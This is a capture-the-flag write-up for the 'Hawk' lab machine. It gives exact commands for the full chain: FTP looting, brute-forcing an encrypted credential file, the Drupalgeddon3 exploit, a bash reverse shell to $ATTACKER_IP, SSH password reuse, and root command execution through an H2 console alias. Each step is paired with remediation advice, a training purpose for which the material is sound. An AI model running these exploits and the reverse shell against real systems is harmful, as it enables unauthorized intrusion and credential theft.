Hawk
Summary
I fully compromised hawk ($TARGET) starting from an anonymous FTP download of an OpenSSL-encrypted credential file; brute-forcing a weak passphrase against rockyou.txt recovered the Drupal admin password; an authenticated Drupalgeddon3 exploit (CVE-2018-7602) delivered remote code execution as the Apache user www-data; the Drupal database password stored in plaintext in sites/default/settings.php matched the Linux user daniel's SSH password, granting an interactive shell and the user flag; and an unauthenticated H2 database console running as root on localhost was exposed via SSH port-forward and abused with H2's built-in Java alias feature to execute OS commands as root, achieving full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export COOKIE="<the-session-cookie-you-captured>"Some commands also carry a value in angle brackets — <node_id> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP scan with service and script detection; key ports: 21, 80, 8082.
$ nmap -sV -sC -p- --min-rate 5000 $TARGET -oN hawk_full.txt
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd
8082/tcp open http H2 databaseConfirm Drupal version from the publicly readable changelog — shows 7.58.
$ curl -s http://$TARGET/CHANGELOG.txt | head -5Exact commands 2
Mirror the entire FTP share without credentials; discovers .drupal.txt.enc inside messages/.
$ wget -r -np --user=anonymous --password=anonymous ftp://$TARGET/Confirm the encrypted file is present locally after the mirror.
$ ls -la $TARGET/messages/FixDisable anonymous FTP and restrict file shares to authenticated usersCritical
Exact commands 2
Bash brute-force loop; stops at <withheld> and prints the decrypted credential note.
$ for pw in $(cat /usr/share/wordlists/rockyou.txt); do openssl enc -d -aes-256-cbc -in $TARGET/messages/.drupal.txt.enc -pass pass:$pw 2>/dev/null && echo "[+] Passphrase: $pw" && break; doneDirect decrypt once passphrase is known; reveals <withheld>.
$ openssl enc -d -aes-256-cbc -in $TARGET/messages/.drupal.txt.enc -pass pass:$PASSWORD3FixNever distribute credentials in files protected by weak passphrasesHigh
Exact commands 1
HTTP 302 to /user/1 confirms admin login; session cookie saved to hawk.cookies.
$ curl -sS -c hawk.cookies -X POST http://$TARGET/user/login -d "name=admin&pass=$PASSWORD&form_id=user_login_block&op=Log+in" -D - | grep -E 'HTTP|Location'FixUpdate Drupal to 7.59 or later to eliminate CVE-2018-7602 (Drupalgeddon3)Critical
Exact commands 4
Extract a valid form_token from the node-creation page using the admin session cookie.
$ curl -sS -b hawk.cookies http://$TARGET/node/add/article | grep form_tokenCreate a dummy node; the redirect URL reveals the node ID (e.g. /node/5).
$ curl -sS -b hawk.cookies -X POST http://$TARGET/node -d 'title=test&body[und][0][value]=x&form_id=article_node_form&op=Save' -D - | grep LocationRun the Drupalgeddon3 PoC (exploit-db 44542) with the admin cookie and new node ID; replace <node_id>. Output confirms uid=33(www-data).
$ python3 drupalgeddon3.py http://$TARGET "$COOKIE" <node_id> 'id'Upgrade to a reverse shell; replace $ATTACKER_IP with your VPN IP and catch with: nc -lvnp 4444
$ python3 drupalgeddon3.py http://$TARGET "$COOKIE" <node_id> "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"Exact commands 3
Run from the www-data reverse shell; reveals the plaintext database password.
$ cat /var/www/html/sites/default/settings.php | grep -A5 passwordSSH as daniel using the reused Drupal database password.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no daniel@$TARGETRead the user flag — value is <user.txt>.
$ cat ~/user.txtFixUse unique passwords per service and disable SSH password authenticationHigh
Exact commands 4
Forward the H2 console from target localhost:8082 to local port 18082 in the background.
$ sshpass -p "$PASSWORD2" ssh -N -f -L 127.0.0.1:18082:127.0.0.1:8082 daniel@$TARGETVerify the H2 web console loads with no authentication prompt.
$ curl -sS http://127.0.0.1:18082/Paste into the H2 console at http://127.0.0.1:18082/ using JDBC URL jdbc:h2:/tmp/hawkroot with blank credentials. Registers the Java OS-execution alias.
$ CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$;Run in the H2 console; executes as root and returns <root.txt>.
$ CALL SHELLEXEC('cat /root/root.txt');FixDisable the H2 web console in production and run H2 as a non-root service accountCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 21/tcp | ftp vsftpd 3.0.3 |
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 5435/tcp | tcpwrapped |
| 8082/tcp | http H2 database http console |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.